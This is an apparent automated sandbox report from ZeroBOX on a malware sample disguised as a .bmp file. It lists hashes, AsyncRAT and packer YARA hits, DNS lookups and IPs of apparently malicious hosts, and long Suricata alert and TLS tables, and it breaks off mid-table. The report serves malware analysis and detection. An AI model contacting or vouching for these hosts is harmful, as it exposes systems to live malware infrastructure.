popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Cube_WW14.bmp

Gen1 Generic Malware UPX ASPack Malicious Library Malicious Packer PE64 PE File OS Processor Check PE32 .NET EXE DLL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 5, 2021, 9:05 a.m. Nov. 5, 2021, 9:18 a.m.
Size 403.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 7c53b803484c308fa9e64a81afba9608
SHA256 a0914ae7b12a78738b47a8c48b844db99ceb902b835274500eb07101cce540f0
CRC32 926C475F
ssdeep 6144:fkP3bQ/UCg7m1ugaSIv1pE0EAPMrGWsWDWidF0HQszCZ2Ftppb9Y81+k7pq7FLfM:f23k/b1ugajS2zt
Yara
  • Malicious_Packer_Zero - Malicious Packer
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • OS_Processor_Check_Zero - OS Processor Check
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

Name Response Post-Analysis Lookup
requestimedout.com
A 162.255.117.78
162.255.117.78
iplogger.org
A 88.99.66.31
88.99.66.31
dataonestorage.com
A 45.142.182.152
45.142.182.152
apps.identrust.com
A 23.76.153.211
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 23.76.153.107
A 182.162.106.42
A 182.162.106.26
23.216.159.9
f.gogamef.com
A 172.67.136.94
A 104.21.72.228
104.21.72.228
www.hzradiant.com
A 194.163.158.120
194.163.158.120
ipinfo.io
A 34.117.59.81
34.117.59.81
eguntong.com
A 194.87.185.127
194.87.185.127
connectini.net
A 162.0.210.44
162.0.210.44
el5en1977834657.s3.ap-south-1.amazonaws.com
A 52.219.158.38
CNAME s3-r-w.ap-south-1.amazonaws.com
52.219.66.51
t.gogamec.com
A 104.21.85.99
A 172.67.204.112
172.67.204.112
ip-api.com
A 208.95.112.1
208.95.112.1
staticimg.youtuuee.com
A 45.136.151.102
45.136.151.102
fouratlinks.com
A 199.192.17.247
199.192.17.247
imgs.googlwaa.com
A 45.136.113.13
45.136.113.13
d.gogamed.com
A 172.67.185.110
A 104.21.59.236
104.21.59.236
cdn.discordapp.com
A 162.159.135.233
A 162.159.134.233
A 162.159.129.233
A 162.159.130.233
A 162.159.133.233
162.159.134.233
iplis.ru
A 88.99.66.31
88.99.66.31
IP Address Status Action
104.21.85.99 Active Moloch
162.0.210.44 Active Moloch
162.159.130.233 Active Moloch
162.255.117.78 Active Moloch
164.124.101.2 Active Moloch
172.67.136.94 Active Moloch
172.67.185.110 Active Moloch
172.67.204.112 Active Moloch
182.162.106.42 Active Moloch
194.163.158.120 Active Moloch
194.87.185.127 Active Moloch
199.192.17.247 Active Moloch
208.95.112.1 Active Moloch
212.192.241.15 Active Moloch
23.76.153.107 Active Moloch
34.117.59.81 Active Moloch
45.133.1.107 Active Moloch
45.136.113.13 Active Moloch
45.136.151.102 Active Moloch
45.142.182.152 Active Moloch
52.219.158.38 Active Moloch
88.99.66.31 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49164 -> 162.159.130.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49164 -> 162.159.130.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 162.159.130.233:80 -> 192.168.56.103:49166 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49168 -> 162.159.130.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49165 -> 162.159.130.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49165 -> 162.159.130.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49170 -> 34.117.59.81:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49170 -> 34.117.59.81:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 34.117.59.81:443 -> 192.168.56.103:49170 2025330 ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49179 -> 162.159.130.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49162 -> 212.192.241.15:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49184 -> 172.67.185.110:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49184 -> 172.67.185.110:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49187 -> 172.67.185.110:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49162 -> 212.192.241.15:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49174 -> 162.159.130.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 162.159.130.233:80 -> 192.168.56.103:49174 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49178 -> 162.159.130.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49178 -> 162.159.130.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 45.133.1.107:80 -> 192.168.56.103:49171 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 45.133.1.107:80 -> 192.168.56.103:49171 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 172.67.185.110:80 -> 192.168.56.103:49185 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 194.87.185.127:80 -> 192.168.56.103:49193 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.103:49195 -> 45.142.182.152:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49190 -> 172.67.136.94:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49192 -> 45.142.182.152:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49183 -> 162.159.130.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49176 -> 172.67.185.110:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49176 -> 172.67.185.110:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49173 -> 212.192.241.15:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 45.136.113.13:80 -> 192.168.56.103:49177 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.103:49198 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 45.142.182.152:443 -> 192.168.56.103:49197 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49202 -> 208.95.112.1:80 2022082 ET POLICY External IP Lookup ip-api.com Device Retrieving External IP Address Detected
TCP 192.168.56.103:49210 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49205 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49204 -> 45.142.182.152:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49220 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49216 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49221 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49218 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49225 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49212 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49244 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49224 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49247 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49230 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49251 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49237 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49254 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49258 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49213 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49262 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49223 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49214 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49180 -> 52.219.158.38:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49229 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49267 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49234 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49252 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49268 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49235 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49261 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49236 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49274 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49238 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49250 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49259 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49263 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49281 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49219 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49222 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49226 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49239 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49231 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49240 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49241 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49232 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49245 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 199.192.17.247:80 -> 192.168.56.103:49279 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.103:49246 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49233 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49227 -> 52.219.158.38:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49257 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49260 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49269 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49275 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49283 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49286 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49287 -> 162.0.210.44:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49291 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49296 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49285 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49297 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49248 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49289 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49290 -> 212.192.241.15:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49292 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49253 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49293 -> 88.99.66.31:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49302 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49303 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49255 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49308 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49299 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49305 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49264 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49309 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49265 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49272 -> 52.219.158.38:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 199.192.17.247:80 -> 192.168.56.103:49298 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 199.192.17.247:80 -> 192.168.56.103:49298 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 192.168.56.103:49280 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49304 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49312 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49314 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49317 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49206 -> 45.142.182.152:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 45.142.182.152:443 -> 192.168.56.103:49207 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49211 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49316 -> 88.99.66.31:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49215 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49217 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49284 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49228 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49242 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49243 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49256 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49266 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49270 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49273 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49300 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49288 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49301 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49295 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 199.192.17.247:80 -> 192.168.56.103:49307 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 199.192.17.247:80 -> 192.168.56.103:49307 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 192.168.56.103:49311 -> 104.21.85.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 199.192.17.247:80 -> 192.168.56.103:49307 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 199.192.17.247:80 -> 192.168.56.103:49307 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49168
162.159.130.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.103:49170
34.117.59.81:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1D4 CN=ipinfo.io f0:42:a0:3b:5b:a8:0e:51:f4:13:25:f7:fc:7c:dc:35:63:19:75:63
TLSv1
192.168.56.103:49187
172.67.185.110:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc ECC CA-3 C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com b0:c4:b1:fe:56:fd:ec:99:f4:dc:0f:3f:36:63:53:f7:6c:3a:26:7b
TLSv1
192.168.56.103:49190
172.67.136.94:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamef.com 5c:36:e8:6e:6d:65:76:95:76:a5:7d:b3:47:fe:54:fe:f3:71:15:1b
TLSv1
192.168.56.103:49183
162.159.130.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.103:49198
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49210
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49205
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49220
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49216
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49221
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49218
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49225
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49212
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49244
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49224
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49247
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49230
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49251
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49237
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49254
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49258
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49213
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49262
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49223
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49214
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49229
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49267
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49234
